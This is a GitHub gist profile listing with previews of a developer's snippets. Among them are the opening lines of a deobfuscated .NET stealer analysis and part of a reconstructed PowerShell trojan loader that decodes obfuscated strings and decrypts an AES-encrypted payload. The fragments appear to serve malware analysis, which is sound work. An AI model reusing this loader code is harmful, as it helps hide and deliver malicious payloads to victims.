Skip to content

Instantly share code, notes, and snippets.

View hUwUtao's full-sized avatar
🥩
i no beef

stdpi hUwUtao

🥩
i no beef
View GitHub Profile
@hUwUtao
hUwUtao / README.md
Last active November 2, 2023 12:58
The FISL Assembly

FISL - Flat Instruction Set List

  • Is a language to define the list of instruction. It is extendable, but not dedicated to any platform
  • Is a language that similar to LISP, the way it describe the code and operators through syntax
  • It is compact to read. Trailing tab/space is optional. Syntax is limited to ASCII, even better, it is only [a-zA-Z0-9.\s]
  • It's design is not intended for automatic/smart expression parsing.
  • It is a scalar, but neat to see that any object is statically typed, allocated and limbo between manual and automated memory management. Worse: it ignore any stack dead, because it is synchronous by the design
  • Define a number, then the binary, so it is the ROM

Brief summary

@hUwUtao
hUwUtao / Class0.cs
Created September 19, 2023 16:21
.NET Stealer Debunked. Stage 3 (Cleanup obfuscation)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace EdvgVD
{
// Token: 0x02000002 RID: 2
internal class Class0
{
@hUwUtao
hUwUtao / loader.ps1
Last active September 19, 2023 17:53
.NET trojan based on powershell, batch and .net, loader reconstructed
# Deobfuscate strings
$DecodeBase64 = {param($in) [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))}
$YdDd = 'GldVHetldVHCurldVHreldVHntPldVHroldVHceldVHssldVH'.Replace('ldVH', '').Split('|')
# Deobfuscate function names
$DecryptAES = 'ccbSO'
$DecompressGzip = 'FYIcv'
# Functions to decrypt and decompress code
function ${DecryptAES}($payload){
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
@hUwUtao
hUwUtao / README.md
Created September 4, 2023 15:59
UTTP Proposal 01

UTTP

Which stand for Universal Text Transportation Protocol, is an alternative for HTTP, which was designed to empower routers. The proposal is compose of 3 noticible modification from HTTP, which is: Inlined request header, Path payloads and Path encoding.

But first

Why HTTP is bad for performance? It is very extendable though, but the fact that HTTP headers define line by line make the important being less important. Take example, this is a basic HTTP request (well most of the time, with forced header to make routers work)

@hUwUtao
hUwUtao / README.txt
Created August 29, 2023 16:31
The freepolicy
DO WHAT THE F*** YOU WANT PRIVACY POLICY
COPYLEFT 2023 By stdpi
1. The owner of this policy wont be affected by this policy, nor the legal regard this policy
2. you must accept that:
- We have full access to your public data, public data of people that have any relatives with you publicly
- Permit us to collect public data of anyone else (in fact this only apply to your public friend relatives)
3. we promise that we
- Wont share collected data with anyone (exept you)
- Must return all collected data to you (the user)
@hUwUtao
hUwUtao / fiss.md
Created August 25, 2023 17:10
Script 24/8/23

Phản ứng hạt nhân là quá trình biến đổi các nguyên tử của một nguyên tố thành các nguyên tử của một nguyên tố khác, thường kèm theo sự giải phóng năng lượng lớn.

Phản ứng hạt nhân đã thay đổi thế giới trước và sau thời kì nguyên tử bằng cách:

  • Tạo ra vũ khí hủy diệt hàng loạt như bom nguyên tử, bom nhiệt hạch, bom nhiệt hạch nhiều giai đoạn.
  • Tạo ra nguồn năng lượng sạch, bền vững và hiệu quả như các nhà máy điện hạt nhân, các tàu ngầm hạt nhân, các tàu vũ trụ hạt nhân.
  • Tạo ra các ứng dụng trong y tế, công nghiệp, nông nghiệp, khai thác khoáng sản như chẩn đoán và điều trị bằng phóng xạ, đo tuổi của các vật liệu cổ, cải thiện năng suất cây trồng, phát hiện và khai thác các mỏ quặng.

Nguyên lý sản xuất điện bằng phản ứng hạt nhân là:

  • Sử dụng các nguyên tố phóng xạ như urani hoặc plutoni làm nhiên liệu trong các lò phản ứng hạt nhân.
@hUwUtao
hUwUtao / gsclup.sh
Created August 16, 2023 18:40
Manual Genshin Update Patching: Cleanup unused files with busybox/msys2
#!/bin/busybox ash
while read -r lin; do cat & rm -v "$lin"; done < <(cat deletefiles.txt | sed -r 's/ [a-z0-9@_-]+\\.target//;s/\\.service//g;s/ +/ /g;s/ /\\n/g' )
@hUwUtao
hUwUtao / spec.md
Created July 1, 2023 15:38
pseudocode language with custom runtime machine (prototype) version 2

no scalar, no flow control (abstract thing), only pseudo code

welcome to hell. there is no recursive

memory management

the memory is a table with fixed size

# 0 1 2 3 4 5 6 7 f
@hUwUtao
hUwUtao / nerdtector.js
Last active June 20, 2023 14:00
NERD-TECTOR 2000. Nanolibrary to check if your client is a developer or not. DO NOT TRACK INDIVIDUAL
window["__NERD_TECTOR_2000__"] = (() => {
const check = (me, type) => typeof me === (type || "object"),
cfs = {
__REACT_DEVTOOLS_GLOBAL_HOOK__: "f/f/react",
__REDUX_DEVTOOLS_EXTENSION__: "f/f/react/redux",
__VUE_DEVTOOLS_GLOBAL_HOOK__: "f/f/vue",
__APOLLO_DEVTOOLS_GLOBAL_HOOK__: "b/d/apollo",
__HOPP_EXTENSION_STATUS_PROXY__: "u/hpscotch",
__qc: "u/wapp",
webpackChunkclarity_live_chrome_extension: "d/clarity",
@hUwUtao
hUwUtao / Caddyfile
Created June 16, 2023 12:19
Experimental Bluemap configuration for caddy
root * /var/www/bluemap/web
@gzip {
header_regexp Accept-Encoding (x-)?gzip
file {
try_files {path}.gz
}
}
route @gzip {
header Content-Encoding gzip
rewrite {path}.gz